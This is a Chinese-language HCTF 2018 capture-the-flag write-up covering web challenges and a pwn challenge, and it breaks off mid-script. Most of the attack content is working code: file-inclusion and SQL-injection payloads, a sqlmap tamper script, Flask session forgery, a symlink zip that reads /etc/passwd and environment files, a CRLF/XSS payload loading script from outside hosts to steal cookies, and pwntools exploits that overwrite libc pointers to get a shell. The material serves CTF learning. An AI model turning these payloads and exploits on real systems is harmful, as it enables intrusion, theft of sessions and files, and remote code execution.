Web warmup 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php     class emmm     {         public static function checkFile(&$page)         {             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];             if (! isset($page) || !is_string($page)) {                 echo "you can't see it";                 return false;             }             if (in_array($page, $whitelist)) {                 return true;             }             $_page = mb_substr(                 $page,                 0,                 mb_strpos($page . '?', '?')             );             if (in_array($_page, $whitelist)) {                 return true;             }             $_page = urldecode($page);             $_page = mb_substr(                 $_page,                 0,                 mb_strpos($_page . '?', '?')             );             if (in_array($_page, $whitelist)) {                 return true;             }             echo "you can't see it";             return false;         }     }     if (! empty($_REQUEST['file'])         && is_string($_REQUEST['file'])         && emmm::checkFile($_REQUEST['file'])     ) {         include $_REQUEST['file'];         exit;     } else {         echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";     }   ?> 
 
payload:
curl "http://warmup.2018.hctf.io/index.php" -d "file=hint.php?/../ffffllllaaaagggg"
admin 方法1 flask的session保存在cookie中,并通过密钥校验session的正确性。如果知道密钥,也就可以任意伪造session.
使用工具:https://github.com/noraj/flask-session-cookie-manager 
1 2 qianfa@qianfa:~/Desktop/hctf$ python session_manager.py decode -c ".eJw9kEGLwjAQhf_KMmcPmtWL4EGIlQozRUgNmYu4bW0bExeqUhvxv290wdMw8-C9-d4D9seuujQwv3a3agT7toT5A75-YA68zmfGbqcUlkOmE2f8zpJdCfSrPpP13YSdxVD3JIse1zhluXGZ2jiyyxnJekrCCONzQap0RpkxqaTBeGeZDxQSS5objBOlGTKVfse8iVHUsCpPvN5OUEev4JpMrwRLHEjnA6r0TqE5sXQxZzuLe0CdL-A5guLSHffX31N1_iCgXN7JJ62x7F8or9fZlh4FedJpxMgHjhoKduzZUogx9eJt1_pDXX2ctC7Tov9XzgcfBbi2h3PZ9jfbwghul6p7lweTMTz_ADRccOA.W-gvYA.qZr8vZsK6dpC8j6l3v-Oavi_KQc" {"_fresh":true,"_id":{" b":"ZGU5YjQ4NzAyOWFlYmVjNjE2MmEwODgxYzVjMzgwNDcwMGM4ZDJlOTJlNjA5NDg4N2Y2YmU2NTdlYTY0NTFhMDg4ZDUyNzFjNWZhMzFjMDYyOTI3ZGU1YTNhZTdkZGQ1MWJlNzlhOWE2ZDMyNWUyMTIxNzhkZDllNjQ5MTIzMWU="},"csrf_token":{" b":"MDAxNmFiYjZmYjQ4MmEwZjdmM2NmNWIwODUyZjZmM2ZlZmZjNzMyNg=="},"image":{" b":"WWdIcw=="},"name":"tiandiwuji","user_id":"10"} 
 
网站源代码:
https://github.com/woadsl1234/hctf_flask/
通过源码我们可以看到:
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
尝试使用ckj123查看我们的cookie:
1 2 3 4 5 qianfa@qianfa:~/Desktop/hctf$ python session_manager.py decode -c ".eJw9kEGLwjAQhf_KMmcPmtWL4EGIlQozRUgNmYu4bW0bExeqUhvxv290wdMw8-C9-d4D9seuujQwv3a3agT7toT5A75-YA68zmfGbqcUlkOmE2f8zpJdCfSrPpP13YSdxVD3JIse1zhluXGZ2jiyyxnJekrCCONzQap0RpkxqaTBeGeZDxQSS5objBOlGTKVfse8iVHUsCpPvN5OUEev4JpMrwRLHEjnA6r0TqE5sXQxZzuLe0CdL-A5guLSHffX31N1_iCgXN7JJ62x7F8or9fZlh4FedJpxMgHjhoKduzZUogx9eJt1_pDXX2ctC7Tov9XzgcfBbi2h3PZ9jfbwghul6p7lweTMTz_ADRccOA.W-gvYA.qZr8vZsK6dpC8j6l3v-Oavi_KQc" -s "ckj123" {u'csrf_token': '0016abb6fb482a0f7f3cf5b0852f6f3feffc7326', u'user_id': u'10', u'name': u'tiandiwuji', u'image': 'YgHs', u'_fresh': True, u'_id': 'de9b487029aebec6162a0881c5c3804700c8d2e92e6094887f6be657ea6451a088d5271c5fa31c062927de5a3ae7ddd51be79a9a6d325e212178dd9e6491231e'} qianfa@qianfa:~/Desktop/hctf$ tf$ python session_managerdecode -c ".eJw9kEGLwjAQhf_KMmcPmtWL4EGIlQozRUgNmYu4bW0bExeqUhvxv290wdMw8-C9-d4D9seuujQwv3a3agT7toT5A75-YA68zmfGbqcUlkOmE2f8zpJdCfSrPpP13YSdxVD3JIse1zhluXGZ2jiyyxnJekrCCONzQap0RpkxqaTBeGeZDxQSS5objBOlGTKVfse8iVHUsCpPvN5OUEev4JpMrwRLHEjnA6r0TqE5sXQxZzuLe0CdL-A5guLSHffX31N1_iCgXN7JJ62x7F8or9fZlh4FedJpxMgHjhoKduzZUogx9eJt1_pDXX2ctC7Tov9XzgcfBbi2h3PZ9jfbwghul6p7lweTMTz_ADRccOA.W-gvYA.qZr8vZsK6dpC8j6l3v-Oavi_KQc" -s "ckj1234" [Decoding error]Signature 'qZr8vZsK6dpC8j6l3v-Oavi_KQc' does not match 
 
我们发现ckj123就是真实的密钥。
然后就可以伪造session:
1 2 qianfa@qianfa:~/Desktop/hctf$ python session_manager.py encode -t "{u'csrf_token': '0016abb6fb482a0f7f3cf5b0852f6f3feffc7326', u'user_id': u'10', u'name': u'admin', u'image': 'YgHs', u'_fresh': True, u'_id': 'de9b487029aebec6162a0881c5c3804700c8d2e92e6094887f6be657ea6451a088d5271c5fa31c062927de5a3ae7ddd51be79a9a6d325e212178dd9e6491231e'}" -s "ckj123" .eJw9kEGLwjAQhf_KMmcPmtWL4EGIlQozRUgNmYu4bW0bExeqUhvxv290wdMw8-C9-d4D9seuujQwv3a3agT7toT5A75-YA68zmfGbqcUlkOmE2f8zpJdCfSrPpP13YSdxVD3JIse1zhluXGZ2jiyyxnJekrCCONzQap0RpkxqaTBeGeZDxQSS5objBOlGTKVfse8iVHUsCpPvN5OUEev4JpMrwRLHEjnA6r0TqE5sXQxZzuLe0CdL-A5guLSHffX31N1_iCgXN7JJ62x7F8or9fZlh4FedJpxMgHjhoKduzZUogx9eJt1_pDXX2ctC7Tov9XzgcfBTiUvj3DCG6Xqnv3BpMxPP8A9uFusQ.W-gwhQ.zuBhgwJ6v79wrzxKJSPGygiZ56M 
 
这时候,就可以得到flag了。
方法二 参考链接:http://blog.lnyas.xyz/?p=1411
注册的用户名经过strlower后才与已有的用户名进行比较。
在change密码这里,更改密码之前又经过了一次strower,
注册一个ᴬdmin用户,登陆可以看到第一次strower把ᴬdmin变成了Admin,与admin不同所以注册成功。
然后更改密码,这里是第二次strower操作,Aadmin会变成admin,最终更改的是admin的密码。 最后退出,再用正常的admin登陆即可
方法三:
条件竞争
Kzone 问题主要出在member.php中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (isset($_COOKIE["islogin"])) {     if ($_COOKIE["login_data"]) {         $login_data = json_decode($_COOKIE['login_data'], true);         $admin_user = $login_data['admin_user'];         $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");         if ($udata['username'] == '') {             setcookie("islogin", "", time() - 604800);             setcookie("login_data", "", time() - 604800);         }         $admin_pass = sha1($udata['password'] . LOGIN_KEY);         if ($admin_pass == $login_data['admin_pass']) {             $islogin = 1;         } else {             setcookie("islogin", "", time() - 604800);             setcookie("login_data", "", time() - 604800);         }     } } 
 
可以看到
1 2 3 4 5 6 $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1"); if ($udata['username'] == '') {     setcookie("islogin", "", time() - 604800);     setcookie("login_data", "", time() - 604800); } $admin_pass = sha1($udata['password'] . LOGIN_KEY); 
 
如果\$udata从数据库中没有找到任何值,那么\$udata[‘password’]就是null,这样\$admin_pass就等于sha1(LOGIN_KEY)也就是:3aa526bed244d14a09ddcc49ba36684866ec7661
waf.php:
1 2 3 4 5 6 7 function waf($string) {     $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benark|like|regexp|if|=|-|<|>|\#|\s/i';     return preg_replace_callback($blacklist, function ($match) {         return '@' . $match[0] . '@';     }, $string); } 
 
这样,就过滤了information。可以使用mysql.innodb_table_stats绕过。
所以可以构造如下payload,sql语句能够成功读到admin的记录时,由于密码不对,将无法登录成功。当sql语句无法读到admin的记录时,就可以成功登录,这样便可以进行bool注入。
1 {"admin_user":"admin'&&right((select(@@secure_file_priv)),%d)in(%s)&&\'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"} 
 
可是,想到获得数据表名,便需要information_schema,但是or被过滤了。
可以看到,
$login_data = json_decode($_COOKIE['login_data'], true);
这一行,在过滤之后才执行,所以可以通过编码绕过。json_decode会进行解码操作。
1 2 3 4 5 6 7 8 9 10 11 12 payload = payload.replace('u', 'u0075') payload = payload.replace('o', 'u006f') payload = payload.replace('i', 'u0069') payload = payload.replace(''', 'u0027') payload = payload.replace('"', 'u0022') payload = payload.replace(' ', 'u0020') payload = payload.replace('s', 'u0073') payload = payload.replace('#', 'u0023') payload = payload.replace('>', 'u003e') payload = payload.replace('<', 'u003c') payload = payload.replace('-', 'u002d') payload = payload.replace('=', 'u003d') 
 
方法一(Ricterz): 参考链接:http://www.melodia.pw/?p=918
通过sqlmap执行:
编写tamper:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies():     pass def tamper(payload, **kwargs):     data = '''{"admin_user":"admin%s","admin_pass":65};'''     payload = payload.lower()     payload = payload.replace('u', 'u0075')     payload = payload.replace('o', 'u006f')     payload = payload.replace('i', 'u0069')     payload = payload.replace(''', 'u0027')     payload = payload.replace('"', 'u0022')     payload = payload.replace(' ', 'u0020')     payload = payload.replace('s', 'u0073')     payload = payload.replace('#', 'u0023')     payload = payload.replace('>', 'u003e')     payload = payload.replace('<', 'u003c')     payload = payload.replace('-', 'u002d')     payload = payload.replace('=', 'u003d')     payload = payload.replace('f1a9', 'F1a9')     payload = payload.replace('f1', 'F1')     return data % payload 
 
指定bool盲注:
--technique=B
指定数据库:
-dbms=mysql
sql识别:
--not-string=window.location
再加点线程:
--thread=10
最后:
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location --dbs
方法二 python3会对unicode编码自动解码,需要转义一下,python2不需要。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # -*- coding: utf-8 -*- import requests import string url = 'http://kzone.2018.hctf.io/include/common.php' str1 = string.ascii_letters+string.digits+'{}!@#$*&_,' def check(payload):     cookie={         'PHPSESSID':'8ehnp28ccr4ueh3gnfc3uqtau1',         'islogin':'1',         'login_data':payload     }     try:         requests.get(url,cookies=cookie,timeout=3)         return 0     except:         return 1 result='' for i in range(1,33):     for j in str1:         #payload='{"admin_user":"admin\'and/**/\\u0069f(\\u0073ubstr((select/**/table_name/**/from/**/inf\\u006Frmation_schema.tables/**/where/**/table_schema\\u003Ddatabase()/**/limit/**/0,1),%d,1)\\u003D\'%s\',\\u0073leep(3),0)/**/and/**/\'1","admin_pass":65}'%(i,j)         payload = '{"admin_user":"admin\'/**/and/**/\\u0069f(\\u0061scii(\\u0073ubstr((select/**/F1a9/**/from/**/F1444g),%s,1))\\u003d%s,\\u0073leep(4),1)/**/and/**/\'1","admin_pass":"123"}'% (str(i),ord(j))               #print('[+]'+payload)         if check(payload):                  result += j             break     print(result) 
 
hide and seek only admin can get it update1/更新1: 1. fix bugs 2. attention: you may need to restart all your work as something has changed hint: 1. docker 2. only few things running on it update2/更新2: Sorry,there are still some bugs, so down temporarily. update3/更新3: fixed bug 
参考链接:https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
1 2 3 ln -s /etc/passwd link zip -y test.zip link 
 
上传之后,可以看到/etc/passwd.
1 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false messagebus:x:102:103::/var/run/dbus:/bin/false 
 
尝试读取/proc/self/environ中的环境变量:
1 UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=30b76592807cSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0 
 
读取/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini:
1 [uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app 
 
读取/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 # -*- coding: utf-8 -*- from flask import Flask,session,render_template,redirect, url_for, escape, request,Response import uuid import base64 import random import flag from werkzeug.utils import secure_filename import os random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY'] = str(random.random()*100) app.config['UPLOAD_FOLDER'] = './uploads' app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 ALLOWED_EXTENSIONS = set(['zip']) def allowed_file(filename):     return '.' in filename and \            filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/', methods=['GET']) def index():     error = request.args.get('error', '')     if(error == '1'):         session.pop('username', None)         return render_template('index.html', forbidden=1)     if 'username' in session:         return render_template('index.html', user=session['username'], flag=flag.flag)     else:         return render_template('index.html') @app.route('/login', methods=['POST']) def login():     username=request.form['username']     password=request.form['password']     if request.method == 'POST' and username != '' and password != '':         if(username == 'admin'):             return redirect(url_for('index',error=1))         session['username'] = username     return redirect(url_for('index')) @app.route('/logout', methods=['GET']) def logout():     session.pop('username', None)     return redirect(url_for('index')) @app.route('/upload', methods=['POST']) def upload_file():     if 'the_file' not in request.files:         return redirect(url_for('index'))     file = request.files['the_file']     if file.filename == '':         return redirect(url_for('index'))     if file and allowed_file(file.filename):         filename = secure_filename(file.filename)         file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)         if(os.path.exists(file_save_path)):             return 'This file already exists'         file.save(file_save_path)     else:         return 'This file is not a zipfile'     try:         extract_path = file_save_path + '_'         os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)         read_obj = os.popen('cat ' + extract_path + '/*')         file = read_obj.read()         read_obj.close()         os.system('rm -rf ' + extract_path)     except Exception as e:         file = None     os.remove(file_save_path)     if(file != None):         if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):             return redirect(url_for('index', error=1))     return Response(file) if __name__ == '__main__':     #app.run(debug=True)     app.run(host='127.0.0.1', debug=True, port=10008) 
 
读取templates/index.html:
if user  1 2 3 4 {% if user == 'admin' %} Your flag: <br> {{ flag  }} {% else %} 
 
漏洞:
1 2 3 random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY'] = str(random.random()*100) 
 
这里的uuid.getnode()就是获取固定的mac地址。
读取网卡信息/proc/net/dev:
读取mac地址/sys/class/net/eth0/address:
1 2 3 4 12:34:3e:14:7c:62  >>> 0x12343e147c62 20015589129314 
 
得到SECRET_KEY之后,即可伪造session.
bottle 参考链接:https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
bottle的crlf注入。直接crlf首先注入一个CSP头部覆盖调已有的,然后注入xss向量即可,中间还需要注一个content-type头部,不然xss向量不解析。网上找到p牛的文章中的exp改一下就行了,exp如下:
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%250aContent-Type:text/html%250aContent-Security-Policy:script-src%2520*%250a%250a%3Cscript/src=http://zzm.cat/1.js%3E%3C/script%3E>
刚开始的时候,CSP是在响应包的上面的,需要想办法绕过CSP。最后伟哥告诉我那个hint1不是机器人访问的crontab,是bottle这个框架重启的crontab。bottle这个框架好像有一个特性,每次重启的时候可以bypass掉CSP。但是出题人好像第二天发现这个bypass思路自己都复现不了,所以就把CSP设置到响应包下面了。 接下来就简单了,只需要绕过302跳转就可以打到cookie。因为302的时候不会xss。利用 < 80端口可以绕过302跳转。可以在浏览器手动试一下。 80端口的时候:
22端口: 
payload:
1 http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent-Length:300%0d%0a%0d%0a%3Cscript%20src%3dhttp://139.199.27.197:7000/1.js%3E%3C/script%3E 
 
game 这里可以根据pass降序排列:
http://game.2018.hctf.io/web2/user.php?order=password
因而,可以一位一位的爆破出password。
比如:
首先注册一个密码为d的用户,该用户最终会出现在id为1,用户名为admin的用户之后。
在注册一个密码为e的用户,该用户最终会出现在id为1,用户名为admin的用户之前。从而可以确定admin的密码第一位为d,反复注册即可。
Pwn the_end 当执行exit函数的时候,会清空缓冲区,_IO_2_1_stdout_结构便起了很大的作用。
方法1 exit -> exit + 16 -> __run_exit_handlers+18 -> __run_exit_handlers+230 -> _dl_fini+126
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 pwndbg>  0x00007ffa38b80b2e	153	in dl-fini.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────[ REGISTERS ]───────────────────────────────────  RAX  0x90  RBX  0x539  RCX  0x7ffa38d96040 (_rtld_global) —▸ 0x7ffa38d97168 —▸ 0x55a87726f000 ◂— jg     0x55a87726f047  RDX  0x7ffa38b80ab0 (_dl_fini) ◂— push   rbp  RDI  0x7ffa38d96948 (_rtld_global+2312) ◂— 0x0  RSI  0x539  R8   0x7ffa38b6c780 (_IO_stdfile_1_lock) ◂— 0x0  R9   0x7ffa38d78700 ◂— 0x7ffa38d78700  R10  0x0  R11  0x246  R12  0x7ffa38d96048 (_rtld_global+8) ◂— 0x4  R13  0x7ffa38b6bc40 (initial) ◂— 0x0  R14  0x0  R15  0x0  RBP  0x7ffd96fb0c60 —▸ 0x7ffa38b6a5f8 (__exit_funcs) —▸ 0x7ffa38b6bc40 (initial) ◂— 0x0  RSP  0x7ffd96fb0bd0 ◂— 0x6562b026  RIP  0x7ffa38b80b2e (_dl_fini+126) ◂— call   qword ptr [rip + 0x216414] ────────────────────────────────────[ DISASM ]─────────────────────────────────────    0x7ffa38b80ae4 <_dl_fini+52>     lea    rcx, [rip + 0x215555] <0x7ffa38d96040>    0x7ffa38b80aeb <_dl_fini+59>     shl    rax, 4    0x7ffa38b80aef <_dl_fini+63>     lea    r12, [rcx + rax - 0x88]    0x7ffa38b80af7 <_dl_fini+71>     jmp    _dl_fini+119 <0x7ffa38b80b27>     ↓    0x7ffa38b80b27 <_dl_fini+119>    lea    rdi, [rip + 0x215e1a] <0x7ffa38d96948>  ► 0x7ffa38b80b2e <_dl_fini+126>    call   qword ptr [rip + 0x216414] <0x7ffa388962a4>         rdi: 0x7ffa38d96948 (_rtld_global+2312) ◂— 0x0         rsi: 0x539         rdx: 0x7ffa38b80ab0 (_dl_fini) ◂— push   rbp         rcx: 0x7ffa38d96040 (_rtld_global) —▸ 0x7ffa38d97168 —▸ 0x55a87726f000 ◂— jg     0x55a87726f047      0x7ffa38b80b34 <_dl_fini+132>    mov    ecx, dword ptr [r12]    0x7ffa38b80b38 <_dl_fini+136>    test   ecx, ecx    0x7ffa38b80b3a <_dl_fini+138>    je     _dl_fini+80 <0x7ffa38b80b00>      0x7ffa38b80b3c <_dl_fini+140>    mov    rax, qword ptr [r12 - 8]    0x7ffa38b80b41 <_dl_fini+145>    movzx  edx, byte ptr [rax + 0x315] ─────────────────────────────────────[ STACK ]───────────────────────────────────── 00:0000│ rsp  0x7ffd96fb0bd0 ◂— 0x6562b026 01:0008│      0x7ffd96fb0bd8 ◂— 0x3000000010 02:0010│      0x7ffd96fb0be0 —▸ 0x7ffd96fb0cb0 ◂— 0x596fb0da0 03:0018│      0x7ffd96fb0be8 —▸ 0x7ffd96fb0bf0 —▸ 0x7ffd96ff9280 ◂— add    byte ptr ss:[rax], al /* '6' */ 04:0020│      0x7ffd96fb0bf0 —▸ 0x7ffd96ff9280 ◂— add    byte ptr ss:[rax], al /* '6' */ 05:0028│      0x7ffd96fb0bf8 —▸ 0x7ffa38872230 (sleep) ◂— push   rbp 06:0030│      0x7ffd96fb0c00 —▸ 0x7ffd96fb0db8 —▸ 0x7ffd96fb2224 ◂— 0x52454d554e5f434c ('LC_NUMER') 07:0038│      0x7ffd96fb0c08 —▸ 0x7ffa388722f0 (__nanosleep_nocancel+7) ◂— cmp    rax, -0xfff ───────────────────────────────────[ BACKTRACE ]───────────────────────────────────  ► f 0     7ffa38b80b2e _dl_fini+126    f 1     7ffa387dfff8 __run_exit_handlers+232    f 2     7ffa387e0045    f 3     55a87726f969    f 4        596fb0da0    f 5     7ffa38d96f4c _rtld_global+3852    f 6     55a87726f970    f 7     7ffa387c6830 __libc_start_main+240    f 8     55a87726f7c9    f 9     7ffd96fb0d98    f 10               1c pwndbg> x/xg 0x7ffa38b80b2e + 0x216414 0x7ffa38d96f42 <_rtld_global+3842>:	0x62a4000000000000 pwndbg> x/xg 0x7ffa38b80b34 + 0x216414 0x7ffa38d96f48 <_rtld_global+3848>:	0x00007ffa388962a4 
 
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import * debug = int(raw_input("is_debug:")) if debug:     p = process("./the_end") #    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")     libc = ELF("./libc64.so")     context.log_level = "debug"     one_gadget = 0xf02a4 #    one_gadget = 0xf1147     free_hook = 0x3c67a8 else:     p = remote("150.109.44.250", 20002)     libc = ELF("./libc64.so")    # one_gadget = 0xf1231     one_gadget = 0xf02a4     free_hook = 0x3c67a8     context.log_level = "debug" if not debug:     p.recvuntil("token:")     p.sendline("MGZM3eIB6lN6aL9gs1guW2CIVP4iYx3E") data = p.recvline() sleep_addr = data[15:29] print sleep_addr libc_addr = int(sleep_addr, 16) - libc.symbols['sleep'] print hex(libc_addr) libc.address = libc_addr if debug:     attach(p) #0x7f5f336d8f48 target_addr = libc_addr + 0x5f0f48 one_gadget = libc_addr + one_gadget print hex(one_gadget) p.send(p64(target_addr)) p.send(p64(one_gadget)[0:1]) p.send(p64(target_addr + 1)) p.send(p64(one_gadget)[1:2]) p.send(p64(target_addr + 2)) p.send(p64(one_gadget)[2:3]) p.send(p64(target_addr + 3)) p.send(p64(one_gadget)[3:4]) p.send(p64(target_addr + 4)) p.send(p64(one_gadget)[4:5]) p.sendline("cat flag >&0")        # 本地可执行命令,比如`curl 123.207.90.143`但是查看文件,列目录等,远程可以 `cat flag >&0`的方式查看内容。 p.interactive() 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 qianfa@qianfa:~/Desktop/pwn/hctf/the_end_dir$ python solve.py  is_debug:0 [+] Opening connection to 150.109.44.250 on port 20002: Done [*] '/home/qianfa/Desktop/pwn/hctf/the_end_dir/libc64.so'     Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      PIE enabled 0x7fb2ccd1b230 0x7fb2ccc4f000 0x7fb2ccd3f2a4 [*] Switching to interactive mode $ cat flag >&0 hctf{a53783c526bf3756a983a2e5af0e1f980393b7b69b0dfd68d578e937e342d212} 
 
方法二 修改stdin->vtable
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #/usr/bin/python from pwn import * context.endian = "little" context.os = "linux" context.arch = "amd64"  #i386 context.word_size = 64   #32 context.log_level = "debug" #info, warn, critical global io binary = "./the_end" def write4(date):     for one in data:         io.send(p64(one[0]))         io.send(chr(one[1])) #0x00007f436cc2d6e0 stdin->vtable #0x00007f436cc2e3e0 a pointer --> one byte #0x00007f436cc2e400 0x00007f436c9f67e9  #                   0x00007f436c95a2a4 one_gadget --> 3 bytes ''' stdin->vtable  0x00007fa1e55679b8  0x00007fa1e55666e0 ''' if __name__ == "__main__":     elf = ELF(binary)     libc = ELF("./libc.so.6")     pipe_argv = [binary,""]     pipe_env = {"LD_PRELOAD":"./libc.so.6"}     #io = process(pipe_argv, env=pipe_env)     io = remote("150.109.46.159",20002)     io.readuntil("Input your token:")     io.sendline("Ooh0jQajnHvoGq2lTlMt9tkT0EkellEa")     io.readuntil("here is a gift ")     libc_sleep = int(io.readuntil(",")[2:-1], 16)     libc_base = libc_sleep - libc.symbols["sleep"]     log.info("libc_base-->{}".format(hex(libc_base)))     one_gadget = 0xf02a4 + libc_base     log.info(hex(one_gadget))     stdin_vtable = 0x3c49b8 + libc_base     io.readline()     data = []          data.append([libc_base + 0x3c4bf8 + 0, ((one_gadget) >> 0) & 0xff])     data.append([libc_base + 0x3c4bf8 + 1, ((one_gadget) >> 8) & 0xff])     data.append([libc_base + 0x3c4bf8 + 2, ((one_gadget) >> 16) & 0xff])     data.append([libc_base + 0x3c49b8 + 1, ((0x3c4be0 + libc_base) >> 8) & 0xff])     pause()     write4(data)     io.interactive()     '''enter'''     '''enter'''     '''exec 1>&0''' 
 
方法三:
修改stdout->vtable
服务器上libc的版本是2.24,在2.24的libc源码中对io_file的vtable进行了IO_vtable_check,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 #! /usr/bin/env python # -*- coding: utf-8 -*- import os import sys # https://github.com/matrix1001/welpwn if os.path.exists('./welpwn') != True:     print("Verify that welpwn is in the current directory")     exit() sys.path.insert(0,os.getcwd()+'/welpwn') from PwnContext.core import * if __name__ == '__main__':     #context.terminal = ['tmux', 'splitw', '-h']     #-----function for quick script-----#     s       = lambda data               :ctx.send(str(data))        #in case that data is a int     sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))      st      = lambda delim,data         :ctx.sendthen(str(delim), str(data))      sl      = lambda data               :ctx.sendline(str(data))      sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))     r       = lambda numb=4096          :ctx.recv(numb)     ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)     irt     = lambda                    :ctx.interactive()     rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)     leak    = lambda address, count=0   :ctx.leak(address, count)     uu32    = lambda data   :u32(data.ljust(4, '\0'))     uu64    = lambda data   :u64(data.ljust(8, '\0'))     def to_write(addr,val):         s(p64(addr))         sleep(0.1)         s(p8(val))     debugg = 0     logg = 0     ctx.binary = './the_end'     #ctx.remote_libc = '/vm_share/libc64.so'  # /glibc/2.24/lib/libc-2.24.so     #ctx.debug_remote_libc = True # this is by default     ctx.remote = ('150.109.46.159', 20002)     #ctx.bases.libc     #ctx.symbols = {'sym1':0x1234, 'sym2':0x5678}     #ctx.breakpoints = [0x964]     #ctx.debug()     if debugg:         rs()     else:         rs(method = 'remote')         sla('token:','DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j')     if logg:         context.log_level = 'debug'     ru('gift ')     libc_base = int(ru(','),16) - 0xcc230     log.success("libc_base = %s"%hex(libc_base))     tls = libc_base + 